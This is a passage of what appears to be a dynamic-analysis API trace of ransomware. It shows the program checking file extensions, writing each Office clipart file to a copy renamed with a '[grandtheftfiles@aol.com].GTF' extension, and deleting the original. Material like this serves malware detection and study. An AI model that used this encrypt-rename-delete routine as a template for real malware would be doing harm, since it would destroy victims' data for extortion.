	[0165.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.697] lstrlenW (lpString=".zip") returned 4
	[0165.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.697] lstrlenW (lpString=".rar") returned 4
	[0165.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString=".bz2") returned 4
	[0165.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString=".7z") returned 3
	[0165.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.697] lstrlenW (lpString=".dbf") returned 4
	[0165.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.697] lstrlenW (lpString=".1cd") returned 4
	[0165.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68
	[0165.697] lstrlenW (lpString=".jpg") returned 4
	[0165.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.697] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.698] lstrlenW (lpString="J0105526.WMF") returned 12
	[0165.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.699] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=17332) returned 1
	[0165.699] CloseHandle (hObject=0x508) returned 1
	[0165.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220
	[0165.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.699] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.699] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.700] GetLastError () returned 0x0
	[0165.700] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x43b4, lpOverlapped=0x0) returned 1
	[0165.702] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x43c0, lpOverlapped=0x0) returned 1
	[0165.703] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.704] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.704] SetEndOfFile (hFile=0x538) returned 1
	[0165.704] CloseHandle (hObject=0x538) returned 1
	[0165.704] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.704] SetEndOfFile (hFile=0x508) returned 1
	[0165.707] CloseHandle (hObject=0x508) returned 1
	[0165.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1
	[0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.708] lstrlenW (lpString=".doc") returned 4
	[0165.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.708] lstrlenW (lpString=".docx") returned 5
	[0165.708] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.708] lstrlenW (lpString=".pdf") returned 4
	[0165.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.708] lstrlenW (lpString=".xls") returned 4
	[0165.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.708] lstrlenW (lpString=".xlsx") returned 5
	[0165.708] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.708] lstrlenW (lpString=".ppt") returned 4
	[0165.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.708] lstrlenW (lpString=".zip") returned 4
	[0165.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.708] lstrlenW (lpString=".rar") returned 4
	[0165.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.708] lstrlenW (lpString=".bz2") returned 4
	[0165.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.708] lstrlenW (lpString=".7z") returned 3
	[0165.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".dbf") returned 4
	[0165.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".1cd") returned 4
	[0165.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".jpg") returned 4
	[0165.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".doc") returned 4
	[0165.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString=".docx") returned 5
	[0165.709] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.709] lstrlenW (lpString=".pdf") returned 4
	[0165.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString=".xls") returned 4
	[0165.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.709] lstrlenW (lpString=".xlsx") returned 5
	[0165.709] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.709] lstrlenW (lpString=".ppt") returned 4
	[0165.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".zip") returned 4
	[0165.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.709] lstrlenW (lpString=".rar") returned 4
	[0165.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString=".bz2") returned 4
	[0165.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString=".7z") returned 3
	[0165.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.709] lstrlenW (lpString=".dbf") returned 4
	[0165.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.710] lstrlenW (lpString=".1cd") returned 4
	[0165.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0165.710] lstrlenW (lpString=".jpg") returned 4
	[0165.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.710] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.710] lstrlenW (lpString="J0105530.WMF") returned 12
	[0165.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.710] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7384) returned 1
	[0165.711] CloseHandle (hObject=0x508) returned 1
	[0165.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220
	[0165.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.711] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.711] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0165.712] GetLastError () returned 0x0
	[0165.712] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0165.713] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0165.714] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.714] WriteFile (in: hFile=0x538, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.715] SetEndOfFile (hFile=0x538) returned 1
	[0165.715] CloseHandle (hObject=0x538) returned 1
	[0165.715] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.715] SetEndOfFile (hFile=0x508) returned 1
	[0165.717] CloseHandle (hObject=0x508) returned 1
	[0165.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1
	[0165.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.718] lstrlenW (lpString=".doc") returned 4
	[0165.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString=".docx") returned 5
	[0165.719] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.719] lstrlenW (lpString=".pdf") returned 4
	[0165.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString=".xls") returned 4
	[0165.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.719] lstrlenW (lpString=".xlsx") returned 5
	[0165.719] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.719] lstrlenW (lpString=".ppt") returned 4
	[0165.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString=".zip") returned 4
	[0165.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.719] lstrlenW (lpString=".rar") returned 4
	[0165.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString=".bz2") returned 4
	[0165.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString=".7z") returned 3
	[0165.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString=".dbf") returned 4
	[0165.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString=".1cd") returned 4
	[0165.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString=".jpg") returned 4
	[0165.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.719] lstrlenW (lpString=".doc") returned 4
	[0165.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.719] lstrlenW (lpString=".docx") returned 5
	[0165.720] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.720] lstrlenW (lpString=".pdf") returned 4
	[0165.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString=".xls") returned 4
	[0165.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.720] lstrlenW (lpString=".xlsx") returned 5
	[0165.720] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.720] lstrlenW (lpString=".ppt") returned 4
	[0165.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.720] lstrlenW (lpString=".zip") returned 4
	[0165.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.720] lstrlenW (lpString=".rar") returned 4
	[0165.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString=".bz2") returned 4
	[0165.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString=".7z") returned 3
	[0165.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.720] lstrlenW (lpString=".dbf") returned 4
	[0165.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.720] lstrlenW (lpString=".1cd") returned 4
	[0165.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0165.720] lstrlenW (lpString=".jpg") returned 4
	[0165.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.720] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.720] lstrlenW (lpString="J0105588.WMF") returned 12
	[0165.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.721] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=21548) returned 1
	[0165.721] CloseHandle (hObject=0x508) returned 1
	[0165.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220
	[0165.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0165.995] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.995] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0165.996] GetLastError () returned 0x0
	[0165.996] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x542c, lpOverlapped=0x0) returned 1
	[0165.999] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0166.000] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.000] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.000] SetEndOfFile (hFile=0x55c) returned 1
	[0166.000] CloseHandle (hObject=0x55c) returned 1
	[0166.000] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.000] SetEndOfFile (hFile=0x508) returned 1
	[0166.012] CloseHandle (hObject=0x508) returned 1
	[0166.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1
	[0166.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.013] lstrlenW (lpString=".doc") returned 4
	[0166.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.013] lstrlenW (lpString=".docx") returned 5
	[0166.014] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.014] lstrlenW (lpString=".pdf") returned 4
	[0166.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString=".xls") returned 4
	[0166.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.014] lstrlenW (lpString=".xlsx") returned 5
	[0166.014] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.014] lstrlenW (lpString=".ppt") returned 4
	[0166.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString=".zip") returned 4
	[0166.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.014] lstrlenW (lpString=".rar") returned 4
	[0166.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString=".bz2") returned 4
	[0166.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString=".7z") returned 3
	[0166.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString=".dbf") returned 4
	[0166.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString=".1cd") returned 4
	[0166.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString=".jpg") returned 4
	[0166.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.014] lstrlenW (lpString=".doc") returned 4
	[0166.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.014] lstrlenW (lpString=".docx") returned 5
	[0166.014] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.014] lstrlenW (lpString=".pdf") returned 4
	[0166.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.015] lstrlenW (lpString=".xls") returned 4
	[0166.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.015] lstrlenW (lpString=".xlsx") returned 5
	[0166.015] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.015] lstrlenW (lpString=".ppt") returned 4
	[0166.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
